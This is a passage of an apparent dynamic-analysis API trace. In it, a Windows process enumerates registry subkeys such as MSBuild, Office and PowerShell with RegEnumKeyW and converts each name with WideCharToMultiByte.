lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0xa9c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0136.755] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0xa9b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0xa9c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0136.755] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0xa9b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0xa9c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0136.756] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0xa9b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0xa9c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0136.756] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0xa9b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0xa9c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0136.756] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0xa9b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0xa9c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0136.756] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0xa9b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0xa9c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0136.756] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0xa9b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0136.756] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0xa9b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0xa9c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0136.756] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0xa9b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0xa9c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0136.757] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0xa9b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0xa9c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0136.757] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0xa9b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0136.757] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0xa9b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0xa9c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0136.757] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0xa9b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0xa9c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0136.757] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0xa9b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0xa9c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0136.757] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0xa9b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0136.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0xa9c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0136.758] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0xa9b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0xa9c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0136.758] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0xa9b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0xa9c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0136.758] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0xa9b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0xa9c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0136.758] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0xa9b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0xa9c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0136.758] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0xa9b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0xa9c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0136.758] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0xa9b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0136.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0xa9c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0136.759] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0xa9b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0xa9c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0136.759] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0xa9b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0xa9c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0136.759] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0xa9b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0xa9c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0136.759] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0xa9b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0136.759] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0xa9b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0xa9c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0136.759] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0xa9b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0136.759] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0xa9b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0136.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0xa9c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0136.760] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0xa9b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0xa9c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0136.760] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0xa9b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0xa9c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0136.760] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0xa9b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0136.760] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0xa9b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0xa9c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0136.760] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0xa9b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0136.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0xa9c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0136.760] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0xa9b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0xa9c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0136.761] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0xa9b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0xa9c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0136.761] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0xa9b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0xa9c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0136.761] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0xa9b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0xa9c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0136.761] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0xa9b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0136.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0xa9c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0136.761] RegEnumKeyW (in: hKey=0x24, 